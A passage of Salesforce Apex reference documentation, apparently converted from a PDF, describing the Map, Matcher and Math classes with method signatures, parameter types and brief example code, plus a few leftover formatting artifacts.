map1.put('Red', 'FF0000');
Map<String, String> map2 = new Map<String, String>();
map2.put('Blue', '0000FF');
// Add map1 entries to map2
map2.putAll(map1);
System.assertEquals(2, map2.size());
```

**putAll(sobjectArray)**

Adds the list of sObject records to a map declared as `Map<ID, sObject>` or `Map<String, sObject>`.

**Signature**

```java
public Void putAll(sObject[] sobjectArray)
```

**Parameters**

- `sobjectArray`
  - Type: `sObject[]`

**Return Value**

Type: `Void`
Usage

This method is similar to calling the Map constructor with the same input.

Example

```java
List<Account> accts = new List<Account>();
accts.add(new Account(Name='Account1'));
accts.add(new Account(Name='Account2'));
// Insert accounts so their IDs are populated.
insert accts;
Map<Id, Account> m = new Map<Id, Account>();
// Add all the records to the map.
m.putAll(accts);
System.assertEquals(2, m.size());
```

**remove(key)**

Removes the mapping for the specified key from the map, if present, and returns the corresponding value.

Signature

```java
public Object remove(Key key)
```

Parameters

- **key**
  - Type: Key

Return Value

Type: Object

Usage

If the key is a string, the key value is case-sensitive.

Example

```java
Map<String, String> colorCodes = new Map<String, String>();

colorCodes.put('Red', 'FF0000');
colorCodes.put('Blue', '0000A0');

String myColor = colorCodes.remove('Blue');
String code2 = colorCodes.get('Blue');

System.assertEquals(null, code2);
```

**size()**

Returns the number of key-value pairs in the map.
Signature

```java
public Integer size()
```

Return Value

Type: `Integer`

Example

```java
Map<String, String> colorCodes = new Map<String, String>();
colorCodes.put('Red', 'FF0000');
colorCodes.put('Blue', '0000A0');

Integer mSize = colorCodes.size();
system.assertEquals(2, mSize);
```

`toString()`

Returns the string representation of the map.

Signature

```java
public String toString()
```

Return Value

Type: `String`

Usage

When used in cyclic references, the output is truncated to prevent infinite recursion. When used with large collections, the output is truncated to avoid exceeding total heap size and maximum CPU time.

- Up to 10 items per collection are included in the output, followed by an ellipsis (`...`).
- If the same object is included multiple times in a collection, it’s shown in the output only once; subsequent references are shown as `(already output)`.

`values()`

Returns a list that contains all the values in the map.

Signature

```java
public List<Object> values()
```

Return Value

Type: `List<Object>`
Usage
The order of map elements is deterministic. You can rely on the order being the same in each subsequent execution of the same code. For example, suppose the `values()` method returns a list containing `value1` and index 0 and `value2` and index 1. Subsequent runs of the same code result in those values being returned in the same order.

Example
```java
Map<String, String> colorCodes = new Map<String, String>();
colorCodes.put('Red', 'FF0000');
colorCodes.put('Blue', '0000A0');
List<String> colors = new List<String>();
colors = colorCodes.values();
```

**Matcher Class**
Matchers use Patterns to perform match operations on a character string.

**Namespace**
System

**Matcher Methods**
The following are methods for Matcher.

**IN THIS SECTION:**
- `end()`: Returns the position after the last matched character.
- `end(groupIndex)`: Returns the position after the last character of the subsequence captured by the group index during the previous match operation. If the match was successful but the group itself did not match anything, this method returns -1.
- `find()`: Attempts to find the next subsequence of the input sequence that matches the pattern. This method returns true if a subsequence of the input sequence matches this Matcher object's pattern.
- `find(group)`: Resets the Matcher object and then tries to find the next subsequence of the input sequence that matches the pattern. This method returns `true` if a subsequence of the input sequence matches this Matcher object's pattern.
- `group()`: Returns the input subsequence returned by the previous match.
- `group(groupIndex)`: Returns the input subsequence captured by the specified group index during the previous match operation. If the match was successful but the specified group failed to match any part of the input sequence, `null` is returned.
groupCount()
Returns the number of capturing groups in this Matching object’s pattern. Group zero denotes the entire pattern and is not included in this count.

hasAnchoringBounds()
Returns true if the Matcher object has anchoring bounds, false otherwise. By default, a Matcher object uses anchoring bounds regions.

hasTransparentBounds()
Returns true if the Matcher object has transparent bounds, false if it uses opaque bounds. By default, a Matcher object uses opaque region boundaries.

hitEnd()
Returns true if the end of input was found by the search engine in the last match operation performed by this Matcher object. When this method returns true, it is possible that more input would have changed the result of the last search.

lookingAt()
Attempts to match the input sequence, starting at the beginning of the region, against the pattern.

matches()
Attempts to match the entire region against the pattern.

pattern()
Returns the Pattern object from which this Matcher object was created.

quoteReplacement(inputString)
Returns a literal replacement string for the specified string inputString. The characters in the returned string match the sequence of characters in inputString.

region(start, end)
Sets the limits of this Matcher object’s region. The region is the part of the input sequence that is searched to find a match.

regionEnd()
Returns the end index (exclusive) of this Matcher object’s region.

regionStart()
Returns the start index (inclusive) of this Matcher object’s region.

replaceAll(replacementString)
Replaces every subsequence of the input sequence that matches the pattern with the replacement string.

replaceFirst(replacementString)
Replaces the first subsequence of the input sequence that matches the pattern with the replacement string.

requireEnd()
Returns true if more input could change a positive match into a negative one.

reset()
Resets this Matcher object. Resetting a Matcher object discards all of its explicit state information.

reset(inputSequence)
Resets this Matcher object with the new input sequence. Resetting a Matcher object discards all of its explicit state information.

start()
Returns the start index of the first character of the previous match.
**start(groupIndex)**

Returns the start index of the subsequence captured by the group specified by the group index during the previous match operation. Captured groups are indexed from left to right, starting at one. Group zero denotes the entire pattern, so the expression `m.start(0)` is equivalent to `m.start()`.

**useAnchoringBounds(anchoringBounds)**

Sets the anchoring bounds of the region for the Matcher object. By default, a Matcher object uses anchoring bounds regions.

**usePattern(pattern)**

Changes the Pattern object that the Matcher object uses to find matches. This method causes the Matcher object to lose information about the groups of the last match that occurred. The Matcher object’s position in the input is maintained.

**useTransparentBounds(transparentBounds)**

Sets the transparency bounds for this Matcher object. By default, a Matcher object uses anchoring bounds regions.

**end()**

Returns the position after the last matched character.

**Signature**

```java
public Integer end()
```

**Return Value**

Type: `Integer`

**end(groupIndex)**

Returns the position after the last character of the subsequence captured by the group index during the previous match operation. If the match was successful but the group itself did not match anything, this method returns -1.

**Signature**

```java
public Integer end(Integer groupIndex)
```

**Parameters**

- `groupIndex`
  
  Type: `Integer`

**Return Value**

Type: `Integer`

**Usage**

Captured groups are indexed from left to right, starting at one. Group zero denotes the entire pattern, so the expression `m.end(0)` is equivalent to `m.end()`.

See Understanding Capturing Groups.
**find()**

Attempts to find the next subsequence of the input sequence that matches the pattern. This method returns true if a subsequence of the input sequence matches this Matcher object’s pattern.

**Signature**

```java
public Boolean find()
```

**Return Value**

Type: Boolean

**Usage**

This method starts at the beginning of this Matcher object’s region, or, if a previous invocation of the method was successful and the Matcher object has not since been reset, at the first character not matched by the previous match.

If the match succeeds, more information can be obtained using the `start`, `end`, and `group` methods.

For more information, see Using Regions.

**find(group)**

 Resets the Matcher object and then tries to find the next subsequence of the input sequence that matches the pattern. This method returns `true` if a subsequence of the input sequence matches this Matcher object’s pattern.

**Signature**

```java
public Boolean find(Integer group)
```

**Parameters**

**group**

Type: Integer

**Return Value**

Type: Boolean

**Usage**

If the match succeeds, more information can be obtained using the `start`, `end`, and `group` methods.

**group()**

Returns the input subsequence returned by the previous match.

**Signature**

```java
public String group()
```
Return Value
Type: String

Usage
Note that some groups, such as (a*), match the empty string. This method returns the empty string when such a group successfully matches the empty string in the input.

**group(groupIndex)**

Returns the input subsequence captured by the specified group index during the previous match operation. If the match was successful but the specified group failed to match any part of the input sequence, null is returned.

Signature
public String group(Integer groupIndex)

Parameters

**groupIndex**
Type: Integer

Return Value
Type: String

Usage
Captured groups are indexed from left to right, starting at one. Group zero denotes the entire pattern, so the expression m.group(0) is equivalent to m.group(). Note that some groups, such as (a*), match the empty string. This method returns the empty string when such a group successfully matches the empty string in the input.
See Understanding Capturing Groups.

**groupCount()**

Returns the number of capturing groups in this Matching object's pattern. Group zero denotes the entire pattern and is not included in this count.

Signature
public Integer groupCount()

Return Value
Type: Integer

Usage
See Understanding Capturing Groups.
**hasAnchoringBounds()**

Returns true if the Matcher object has anchoring bounds, false otherwise. By default, a Matcher object uses anchoring bounds regions.

**Signature**

```java
public Boolean hasAnchoringBounds()
```

**Return Value**

Type: Boolean

**Usage**

If a Matcher object uses anchoring bounds, the boundaries of this Matcher object’s region match start and end of line anchors such as ^ and $.

For more information, see Using Bounds.

**hasTransparentBounds()**

Returns true if the Matcher object has transparent bounds, false if it uses opaque bounds. By default, a Matcher object uses opaque region boundaries.

**Signature**

```java
public Boolean hasTransparentBounds()
```

**Return Value**

Type: Boolean

**Usage**

For more information, see Using Bounds.

**hitEnd()**

Returns true if the end of input was found by the search engine in the last match operation performed by this Matcher object. When this method returns true, it is possible that more input would have changed the result of the last search.

**Signature**

```java
public Boolean hitEnd()
```

**Return Value**

Type: Boolean

**lookingAt()**

Attempts to match the input sequence, starting at the beginning of the region, against the pattern.
Signature

`public Boolean lookingAt()`

Return Value
Type: `Boolean`

Usage
Like the `matches` method, this method always starts at the beginning of the region; unlike that method, it does not require the entire region be matched.
If the match succeeds, more information can be obtained using the `start`, `end`, and `group` methods.
See [Using Regions](#).

`matches()`
Attempts to match the entire region against the pattern.

Signature

`public Boolean matches()`

Return Value
Type: `Boolean`

Usage
If the match succeeds, more information can be obtained using the `start`, `end`, and `group` methods.
See [Using Regions](#).

`pattern()`
Returns the Pattern object from which this Matcher object was created.

Signature

`public Pattern object pattern()`

Return Value
Type: `System.Pattern`

`quoteReplacement(inputString)`
Returns a literal replacement string for the specified string `inputString`. The characters in the returned string match the sequence of characters in `inputString`. 

3292
Signature

```java
public static String quoteReplacement(String inputString)
```

Parameters

- `inputString`
  - Type: `String`

Return Value

- Type: `String`

Usage

Metacharacters (such as `$` or `^`) and escape sequences in the input string are treated as literal characters with no special meaning.

**region**(start, end)**

Sets the limits of this Matcher object's region. The region is the part of the input sequence that is searched to find a match.

Signature

```java
public Matcher object region(Integer start, Integer end)
```

Parameters

- `start`
  - Type: `Integer`
- `end`
  - Type: `Integer`

Return Value

- Type: `Matcher`

Usage

This method first resets the Matcher object, then sets the region to start at the index specified by `start` and end at the index specified by `end`.

Depending on the transparency boundaries being used, certain constructs such as anchors may behave differently at or around the boundaries of the region.

See Using Regions and Using Bounds.

**regionEnd()**

Returns the end index (exclusive) of this Matcher object's region.
Signature

```java
public Integer regionEnd()
```

Return Value
Type: Integer

Usage
See Using Regions.

**regionStart()**
Returns the start index (inclusive) of this Matcher object's region.

Signature

```java
public Integer regionStart()
```

Return Value
Type: Integer

Usage
See Using Regions.

**replaceAll(replacementString)**
Replaces every subsequence of the input sequence that matches the pattern with the replacement string.

Signature

```java
public String replaceAll(String replacementString)
```

Parameters

- `replacementString`
  Type: String

Return Value
Type: String

Usage
This method first resets the Matcher object, then scans the input sequence looking for matches of the pattern. Characters that are not part of any match are appended directly to the result string; each match is replaced in the result by the replacement string. The replacement string may contain references to captured subsequences.
Note that backslashes (\) and dollar signs ($) in the replacement string may cause the results to be different than if the string was treated as a literal replacement string. Dollar signs may be treated as references to captured subsequences, and backslashes are used to escape literal characters in the replacement string.

Invoking this method changes this Matcher object’s state. If the Matcher object is to be used in further matching operations it should first be reset.

Given the regular expression `a*b`, the input "aabxyzaabxyzabxyzb", and the replacement string "-", an invocation of this method on a Matcher object for that expression would yield the string "-xyz-xyz-xyz-".

### `replaceFirst(replacementString)`

Replaces the first subsequence of the input sequence that matches the pattern with the replacement string.

**Signature**

```java
public String replaceFirst(String replacementString)
```

**Parameters**

`replacementString`

Type: `String`

**Return Value**

Type: `String`

**Usage**

Note that backslashes (\) and dollar signs ($) in the replacement string may cause the results to be different than if the string was treated as a literal replacement string. Dollar signs may be treated as references to captured subsequences, and backslashes are used to escape literal characters in the replacement string.

Invoking this method changes this Matcher object’s state. If the Matcher object is to be used in further matching operations it should first be reset.

Given the regular expression `dog`, the input "zzzdogzzzdogzzz", and the replacement string "cat", an invocation of this method on a Matcher object for that expression would return the string "zzzcatzzzdogzzz".

### `requireEnd()`

Returns true if more input could change a positive match into a negative one.

**Signature**

```java
public Boolean requireEnd()
```

**Return Value**

Type: `Boolean`
Usage

If this method returns true, and a match was found, then more input could cause the match to be lost.
If this method returns false and a match was found, then more input might change the match but the match won’t be lost.
If a match was not found, then `requireEnd` has no meaning.

`reset()`
Resets this Matcher object. Resetting a Matcher object discards all of its explicit state information.

Signature

```java
public Matcher object reset()
```

Return Value

Type: Matcher

Usage

This method does not change whether the Matcher object uses anchoring bounds. You must explicitly use the `useAnchoringBounds` method to change the anchoring bounds.
For more information, see Using Bounds.

`reset(inputSequence)`
Resets this Matcher object with the new input sequence. Resetting a Matcher object discards all of its explicit state information.

Signature

```java
public Matcher reset(String inputSequence)
```

Parameters

- `inputSequence`
  Type: String

Return Value

Type: Matcher

`start()`
Returns the start index of the first character of the previous match.

Signature

```java
public Integer start()
```
Return Value
Type: Integer

start(groupIndex)

Returns the start index of the subsequence captured by the group specified by the group index during the previous match operation. Captured groups are indexed from left to right, starting at one. Group zero denotes the entire pattern, so the expression \texttt{m.start(0)} is equivalent to \texttt{m.start()}.

**Signature**

\texttt{public Integer start(Integer groupIndex)}

**Parameters**

\textit{groupIndex}  
Type: Integer

**Return Value**
Type: Integer

**Usage**

See Understanding Capturing Groups on page 593.

useAnchoringBounds(anchoringBounds)

Sets the anchoring bounds of the region for the Matcher object. By default, a Matcher object uses anchoring bounds regions.

**Signature**

\texttt{public Matcher object useAnchoringBounds(Boolean anchoringBounds)}

**Parameters**

\textit{anchoringBounds}  
Type: Boolean

If you specify \texttt{true}, the Matcher object uses anchoring bounds. If you specify \texttt{false}, non-anchoring bounds are used.

**Return Value**
Type: Matcher

**Usage**

If a Matcher object uses anchoring bounds, the boundaries of this Matcher object’s region match start and end of line anchors such as ^ and $.

For more information, see Using Bounds on page 593.
**usePattern (pattern)**

Changes the Pattern object that the Matcher object uses to find matches. This method causes the Matcher object to lose information about the groups of the last match that occurred. The Matcher object’s position in the input is maintained.

**Signature**

```java
public Matcher object usePattern(Pattern pattern)
```

**Parameters**

- `pattern`  
  Type: `System.Pattern`

**Return Value**

Type: `Matcher`

**useTransparentBounds (transparentBounds)**

Sets the transparency bounds for this Matcher object. By default, a Matcher object uses anchoring bounds regions.

**Signature**

```java
public Matcher object useTransparentBounds(Boolean transparentBounds)
```

**Parameters**

- `transparentBounds`  
  Type: `Boolean`

  If you specify `true`, the Matcher object uses transparent bounds. If you specify `false`, opaque bounds are used.

**Return Value**

Type: `Matcher`

**Usage**

For more information, see Using Bounds.

**Math Class**

Contains methods for mathematical operations.

**Namespace**

`System`

**Math Fields**

The following are fields for Math.
IN THIS SECTION:

**E**

Returns the mathematical constant \( e \), which is the base of natural logarithms.

**PI**

Returns the mathematical constant \( \pi \), which is the ratio of the circumference of a circle to its diameter.

**E**

Returns the mathematical constant \( e \), which is the base of natural logarithms.

**Signature**

```java
public static final Double E
```

**Property Value**

Type: **Double**

**PI**

Returns the mathematical constant \( \pi \), which is the ratio of the circumference of a circle to its diameter.

**Signature**

```java
public static final Double PI
```

**Property Value**

Type: **Double**

**Math Methods**

The following are methods for `Math`. All methods are static.

**IN THIS SECTION:**

```java
abs(decimalValue)
```

Returns the absolute value of the specified Decimal.

```java
abs(doubleValue)
```

Returns the absolute value of the specified Double.

```java
abs(integerValue)
```

Returns the absolute value of the specified Integer.

```java
abs(longValue)
```

Returns the absolute value of the specified Long.

```java
acos(decimalAngle)
```

Returns the arc cosine of an angle, in the range of 0.0 through \( \pi \).
acos(doubleAngle)
Returns the arc cosine of an angle, in the range of 0.0 through $\pi$.

asin(decimalAngle)
Returns the arc sine of an angle, in the range of $-\pi/2$ through $\pi/2$.

asin(doubleAngle)
Returns the arc sine of an angle, in the range of $-\pi/2$ through $\pi/2$.

atan(decimalAngle)
Returns the arc tangent of an angle, in the range of $-\pi/2$ through $\pi/2$.

atan(doubleAngle)
Returns the arc tangent of an angle, in the range of $-\pi/2$ through $\pi/2$.

atan2(xCoordinate, yCoordinate)
Converts rectangular coordinates (xCoordinate and yCoordinate) to polar (r and theta). This method computes the phase theta by computing an arc tangent of xCoordinate/yCoordinate in the range of $-\pi$ to $\pi$.

atan2(xCoordinate, yCoordinate)
Converts rectangular coordinates (xCoordinate and yCoordinate) to polar (r and theta). This method computes the phase theta by computing an arc tangent of xCoordinate/yCoordinate in the range of $-\pi$ to $\pi$.

cbrt(decimalValue)
Returns the cube root of the specified Decimal. The cube root of a negative value is the negative of the cube root of that value's magnitude.

cbrt(doubleValue)
Returns the cube root of the specified Double. The cube root of a negative value is the negative of the cube root of that value's magnitude.

cell(decimalValue)
Returns the smallest (closest to negative infinity) Decimal that is not less than the argument and is equal to a mathematical integer.

cell(doubleValue)
Returns the smallest (closest to negative infinity) Double that is not less than the argument and is equal to a mathematical integer.

cos(decimalAngle)
Returns the trigonometric cosine of the angle specified by decimalAngle.

cos(doubleAngle)
Returns the trigonometric cosine of the angle specified by doubleAngle.

cosh(decimalAngle)
Returns the hyperbolic cosine of decimalAngle. The hyperbolic cosine of $d$ is defined to be $(e^d + e^{-d})/2$ where $e$ is Euler's number.

cosh(doubleAngle)
Returns the hyperbolic cosine of doubleAngle. The hyperbolic cosine of $d$ is defined to be $(e^d + e^{-d})/2$ where $e$ is Euler's number.

dexp(exponentDecimal)
Returns Euler's number $e$ raised to the power of the specified Decimal.

dexp(exponentDouble)
Returns Euler's number $e$ raised to the power of the specified Double.

dfloor(decimalValue)
Returns the largest (closest to positive infinity) Decimal that is not greater than the argument and is equal to a mathematical integer.
floor(doubleValue)
Returns the largest (closest to positive infinity) Double that is not greater than the argument and is equal to a mathematical integer.

log(decimalValue)
Returns the natural logarithm (base e) of the specified Decimal.

log(doubleValue)
Returns the natural logarithm (base e) of the specified Double.

log10(decimalValue)
Returns the logarithm (base 10) of the specified Decimal.

log10(doubleValue)
Returns the logarithm (base 10) of the specified Double.

max(decimalValue1, decimalValue2)
Returns the larger of the two specified Decimals.

max(doubleValue1, doubleValue2)
Returns the larger of the two specified Doubles.

max(integerValue1, integerValue2)
Returns the larger of the two specified Integers.

max(longValue1, longValue2)
Returns the larger of the two specified Longs.

min(decimalValue1, decimalValue2)
Returns the smaller of the two specified Decimals.

min(doubleValue1, doubleValue2)
Returns the smaller of the two specified Doubles.

min(integerValue1, integerValue2)
Returns the smaller of the two specified Integers.

min(longValue1, longValue2)
Returns the smaller of the two specified Longs.

mod(integerValue1, integerValue2)
Returns the remainder of integerValue1 divided by integerValue2.

mod(longValue1, longValue2)
Returns the remainder of longValue1 divided by longValue2.

pow(doubleValue, exponent)
Returns the value of the first Double raised to the power of exponent.

random()
Returns a positive Double that is greater than or equal to 0.0 and less than 1.0.

rint(decimalValue)
Returns the value that is closest in value to decimalValue and is equal to a mathematical integer.

rint(doubleValue)
Returns the value that is closest in value to doubleValue and is equal to a mathematical integer.
round(doubleValue)

Do not use. This method is deprecated as of the Winter '08 release. Instead, use Math.roundToLong. Returns the closest Integer to the specified Double. If the result is less than -2,147,483,648 or greater than 2,147,483,647, Apex generates an error.

round(decimalValue)

Returns the rounded approximation of this Decimal. The number is rounded to zero decimal places using half-even rounding mode, that is, it rounds towards the “nearest neighbor” unless both neighbors are equidistant, in which case, this mode rounds towards the even neighbor.

roundToLong(decimalValue)

Returns the rounded approximation of this Decimal. The number is rounded to zero decimal places using half-even rounding mode, that is, it rounds towards the “nearest neighbor” unless both neighbors are equidistant, in which case, this mode rounds towards the even neighbor.

roundToLong(doubleValue)

Returns the closest Long to the specified Double.

signum(decimalValue)

Returns the signum function of the specified Decimal, which is 0 if `decimalValue` is 0, 1.0 if `decimalValue` is greater than 0, -1.0 if `decimalValue` is less than 0.

signum(doubleValue)

Returns the signum function of the specified Double, which is 0 if `doubleValue` is 0, 1.0 if `doubleValue` is greater than 0, -1.0 if `doubleValue` is less than 0.

sin(decimalAngle)

Returns the trigonometric sine of the angle specified by `decimalAngle`.

sin(doubleAngle)

Returns the trigonometric sine of the angle specified by `doubleAngle`.

sinh(decimalAngle)

Returns the hyperbolic sine of `decimalAngle`. The hyperbolic sine of `decimalAngle` is defined to be \((e^x - e^{-x})/2\) where \(e\) is Euler's number.

sinh(doubleAngle)

Returns the hyperbolic sine of `doubleAngle`. The hyperbolic sine of `doubleAngle` is defined to be \((e^x - e^{-x})/2\) where \(e\) is Euler's number.

sqrt(decimalValue)

Returns the correctly rounded positive square root of `decimalValue`.

sqrt(doubleValue)

Returns the correctly rounded positive square root of `doubleValue`.

tan(decimalAngle)

Returns the trigonometric tangent of the angle specified by `decimalAngle`.

tan(doubleAngle)

Returns the trigonometric tangent of the angle specified by `doubleAngle`.

tanh(decimalAngle)

Returns the hyperbolic tangent of `decimalAngle`. The hyperbolic tangent of `decimalAngle` is defined to be \((e^x - e^{-x})/(e^x + e^{-x})\) where \(e\) is Euler's number. In other words, it is equivalent to \(\sinh(x)/\cosh(x)\). The absolute value of the exact \(\tanh\) is always less than 1.
tanh(doubleAngle)
Returns the hyperbolic tangent of doubleAngle. The hyperbolic tangent of doubleAngle is defined to be \((e^x - e^{-x})/(e^x + e^{-x})\) where \(e\) is Euler's number. In other words, it is equivalent to \(\sinh(x)/\cosh(x)\). The absolute value of the exact \(\tanh\) is always less than 1.

abs(decimalValue)
Returns the absolute value of the specified Decimal.

Signature
public static Decimal abs(Decimal decimalValue)

Parameters
decimalValue
Type: Decimal

Return Value
Type: Decimal

abs(doubleValue)
Returns the absolute value of the specified Double.

Signature
public static Double abs(Double doubleValue)

Parameters
doubleValue
Type: Double

Return Value
Type: Double

abs(integerValue)
Returns the absolute value of the specified Integer.

Signature
public static Integer abs(Integer integerValue)

Parameters
integerValue
Type: Integer
Return Value
Type: Integer

Example

```java
Integer i = -42;
Integer i2 = math.abs(i);
system.assertEquals(i2, 42);
```

**abs(longValue)**

Returns the absolute value of the specified Long.

Signature

```java
public static Long abs(Long longValue)
```

Parameters

- **longValue**
  Type: Long

Return Value
Type: Long

**acos(decimalAngle)**

Returns the arc cosine of an angle, in the range of 0.0 through \( \pi \).

Signature

```java
public static Decimal acos(Decimal decimalAngle)
```

Parameters

- **decimalAngle**
  Type: Decimal

Return Value
Type: Decimal

**acos(doubleAngle)**

Returns the arc cosine of an angle, in the range of 0.0 through \( \pi \).

Signature

```java
public static Double acos(Double doubleAngle)
```
Parameters

doubleAngle
  Type: Double

Return Value
Type: Double

asin(decimalAngle)
Returns the arc sine of an angle, in the range of -\(\pi/2\) through \(\pi/2\).

Signature
public static Decimal asin(Decimal decimalAngle)

Parameters

decimalAngle
  Type: Decimal

Return Value
Type: Decimal

asin(doubleAngle)
Returns the arc sine of an angle, in the range of -\(\pi/2\) through \(\pi/2\).

Signature
public static Double asin(Double doubleAngle)

Parameters

doubleAngle
  Type: Double

Return Value
Type: Double

atan(decimalAngle)
Returns the arc tangent of an angle, in the range of -\(\pi/2\) through \(\pi/2\).

Signature
public static Decimal atan(Decimal decimalAngle)
Parameters

decimalAngle
Type: Decimal

Return Value
Type: Decimal

atan(doubleAngle)
Returns the arc tangent of an angle, in the range of -pi/2 through pi/2.

Signature
public static Double atan(Double doubleAngle)

Parameters

doubleAngle
Type: Double

Return Value
Type: Double

atan2(xCoordinate, yCoordinate)
Converts rectangular coordinates (xCoordinate and yCoordinate) to polar (r and theta). This method computes the phase theta by computing an arc tangent of xCoordinate/yCoordinate in the range of -pi to pi.

Signature
public static Decimal atan2(Decimal xCoordinate, Decimal yCoordinate)

Parameters

xCoordinate
Type: Decimal

yCoordinate
Type: Decimal

Return Value
Type: Decimal

atan2(xCoordinate, yCoordinate)
Converts rectangular coordinates (xCoordinate and yCoordinate) to polar (r and theta). This method computes the phase theta by computing an arc tangent of xCoordinate/yCoordinate in the range of -pi to pi.
Signature

public static Double atan2(Double xCoordinate, Double yCoordinate)

Parameters

xCoordinate
Type: Double

yCoordinate
Type: Double

Return Value
Type: Double

cbrt(decimalValue)
Returns the cube root of the specified Decimal. The cube root of a negative value is the negative of the cube root of that value’s magnitude.

Signature

public static Decimal cbrt(Decimal decimalValue)

Parameters

decimalValue
Type: Decimal

Return Value
Type: Decimal

cbrt(doubleValue)
Returns the cube root of the specified Double. The cube root of a negative value is the negative of the cube root of that value’s magnitude.

Signature

public static Double cbrt(Double doubleValue)

Parameters

doubleValue
Type: Double

Return Value
Type: Double
**ceil**(decimalValue)**

Returns the smallest (closest to negative infinity) Decimal that is not less than the argument and is equal to a mathematical integer.

**Signature**

```
public static Decimal ceil(Decimal decimalValue)
```

**Parameters**

- **decimalValue**
  - Type: Decimal

**Return Value**

Type: Decimal

**ceil**(doubleValue)**

Returns the smallest (closest to negative infinity) Double that is not less than the argument and is equal to a mathematical integer.

**Signature**

```
public static Double ceil(Double doubleValue)
```

**Parameters**

- **doubleValue**
  - Type: Double

**Return Value**

Type: Double

**cos**(decimalAngle)**

Returns the trigonometric cosine of the angle specified by decimalAngle.

**Signature**

```
public static Decimal cos(Decimal decimalAngle)
```

**Parameters**

- **decimalAngle**
  - Type: Decimal

**Return Value**

Type: Decimal
**cos(doubleAngle)**
Returns the trigonometric cosine of the angle specified by `doubleAngle`.

Signature
```
public static Double cos(Double doubleAngle)
```

Parameters
- `doubleAngle`
  Type: `Double`

Return Value
Type: `Double`

**cosh(decimalAngle)**
Returns the hyperbolic cosine of `decimalAngle`. The hyperbolic cosine of \( d \) is defined to be \((e^d + e^{-d})/2\) where \( e \) is Euler's number.

Signature
```
public static Decimal cosh(Decimal decimalAngle)
```

Parameters
- `decimalAngle`
  Type: `Decimal`

Return Value
Type: `Decimal`

**cosh(doubleAngle)**
Returns the hyperbolic cosine of `doubleAngle`. The hyperbolic cosine of \( d \) is defined to be \((e^d + e^{-d})/2\) where \( e \) is Euler's number.

Signature
```
public static Double cosh(Double doubleAngle)
```

Parameters
- `doubleAngle`
  Type: `Double`

Return Value
Type: `Double`
**exp(exponentDecimal)**
Returns Euler's number $e$ raised to the power of the specified Decimal.

Signature

```java
public static Decimal exp(Decimal exponentDecimal)
```

Parameters

`exponentDecimal`
Type: Decimal

Return Value
Type: Decimal

**exp(exponentDouble)**
Returns Euler's number $e$ raised to the power of the specified Double.

Signature

```java
public static Double exp(Double exponentDouble)
```

Parameters

`exponentDouble`
Type: Double

Return Value
Type: Double

**floor(decimalValue)**
Returns the largest (closest to positive infinity) Decimal that is not greater than the argument and is equal to a mathematical integer.

Signature

```java
public static Decimal floor(Decimal decimalValue)
```

Parameters

`decimalValue`
Type: Decimal

Return Value
Type: Decimal
**floor(doubleValue)**

Returns the largest (closest to positive infinity) Double that is not greater than the argument and is equal to a mathematical integer.

Signature

```java
public static Double floor(Double doubleValue)
```

Parameters

- `doubleValue`
  Type: `Double`

Return Value

Type: `Double`

**log(decimalValue)**

Returns the natural logarithm (base e) of the specified Decimal.

Signature

```java
public static Decimal log(Decimal decimalValue)
```

Parameters

- `decimalValue`
  Type: `Decimal`

Return Value

Type: `Decimal`

**log(doubleValue)**

Returns the natural logarithm (base e) of the specified Double.

Signature

```java
public static Double log(Double doubleValue)
```

Parameters

- `doubleValue`
  Type: `Double`

Return Value

Type: `Double`
**log10(decimalValue)**
Returns the logarithm (base 10) of the specified Decimal.

**Signature**
```
public static Decimal log10(Decimal decimalValue)
```

**Parameters**
- `decimalValue`
  Type: `Decimal`

**Return Value**
Type: `Decimal`

**log10(doubleValue)**
Returns the logarithm (base 10) of the specified Double.

**Signature**
```
public static Double log10(Double doubleValue)
```

**Parameters**
- `doubleValue`
  Type: `Double`

**Return Value**
Type: `Double`

**max(decimalValue1, decimalValue2)**
Returns the larger of the two specified Decimals.

**Signature**
```
public static Decimal max(Decimal decimalValue1, Decimal decimalValue2)
```

**Parameters**
- `decimalValue1`
  Type: `Decimal`
- `decimalValue2`
  Type: `Decimal`
Return Value
Type: Decimal

Example
```
Decimal larger = math.max(12.3, 156.6);
system.assertEquals(larger, 156.6);
```

`max(doubleValue1, doubleValue2)`
Returns the larger of the two specified Doubles.

Signature
```java
public static Double max(Double doubleValue1, Double doubleValue2)
```

Parameters
- `doubleValue1`
  Type: Double
- `doubleValue2`
  Type: Double

Return Value
Type: Double

`max(integerValue1, integerValue2)`
Returns the larger of the two specified Integers.

Signature
```java
public static Integer max(Integer integerValue1, Integer integerValue2)
```

Parameters
- `integerValue1`
  Type: Integer
- `integerValue2`
  Type: Integer

Return Value
Type: Integer

`max(longValue1, longValue2)`
Returns the larger of the two specified Longs.
**Signature**

```java
public static Long max(Long longValue1, Long longValue2)
```

**Parameters**

- `longValue1`
  - Type: `Long`
- `longValue2`
  - Type: `Long`

**Return Value**

Type: `Long`

**min(decimalValue1, decimalValue2)**

Returns the smaller of the two specified Decimals.

**Signature**

```java
public static Decimal min(Decimal decimalValue1, Decimal decimalValue2)
```

**Parameters**

- `decimalValue1`
  - Type: `Decimal`
- `decimalValue2`
  - Type: `Decimal`

**Return Value**

Type: `Decimal`

**Example**

```java
Decimal smaller = math.min(12.3, 156.6);
system.assertEquals(smaller, 12.3);
```

**min(doubleValue1, doubleValue2)**

Returns the smaller of the two specified Doubles.

**Signature**

```java
public static Double min(Double doubleValue1, Double doubleValue2)
```
Parameters

doubleValue1
   Type: Double
doubleValue2
   Type: Double

Return Value
Type: Double

**min(integerValue1, integerValue2)**

Returns the smaller of the two specified Integers.

Signature

```java
public static Integer min(Integer integerValue1, Integer integerValue2)
```

Parameters

integerValue1
   Type: Integer
integerValue2
   Type: Integer

Return Value
Type: Integer

**min(longValue1, longValue2)**

Returns the smaller of the two specified Longs.

Signature

```java
public static Long min(Long longValue1, Long longValue2)
```

Parameters

longValue1
   Type: Long
longValue2
   Type: Long

Return Value
Type: Long
mod(integerValue1, integerValue2)
Returns the remainder of integerValue1 divided by integerValue2.

Signature
public static Integer mod(Integer integerValue1, Integer integerValue2)

Parameters
integerValue1
  Type: Integer

integerValue2
  Type: Integer

Return Value
Type: Integer

Example
Integer remainder = math.mod(12, 2);
system.assertEquals(remainder, 0);

Integer remainder2 = math.mod(8, 3);
system.assertEquals(remainder2, 2);

mod(longValue1, longValue2)
Returns the remainder of longValue1 divided by longValue2.

Signature
public static Long mod(Long longValue1, Long longValue2)

Parameters
longValue1
  Type: Long

longValue2
  Type: Long

Return Value
Type: Long

pow(doubleValue, exponent)
Returns the value of the first Double raised to the power of exponent.
public static Double pow(Double doubleValue, Double exponent)

Parameters
doubleValue
- Type: Double
exponent
- Type: Double

Return Value
